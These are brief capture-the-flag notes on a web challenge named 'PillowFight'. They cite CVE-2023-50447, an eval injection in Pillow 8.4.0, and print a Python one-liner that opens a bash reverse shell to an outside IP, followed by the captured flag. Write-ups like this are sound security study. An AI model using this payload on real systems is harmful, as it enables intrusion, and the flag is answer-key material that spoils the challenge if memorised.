2024-10-25 PillowFight (Web)

Two images uploaded and combined, messed around with different pngs uploading

Trying command execution

Not noting any changes for the png’s outputted.

API info

Pillow 8.4.0 | Snyk

Security vulnerabilities and package health score for pip package Pillow 8.4.0

https://security.snyk.io/package/pip/Pillow/8.4.0

Snyk Vulnerability Database | Snyk

High severity (8.1) Eval Injection in pillow | CVE-2023-50447

https://security.snyk.io/vuln/SNYK-PYTHON-PILLOW-6182918

**__import__**("subprocess").Popen(['bash','-c','bash -i >& /dev/tcp/20.64.224.40/8080 0>&1'])

Finally that worked to get a shell, cat for glaf.txt

flag{b6b62e6c5cdfda3b3a8b87d90fd48d01}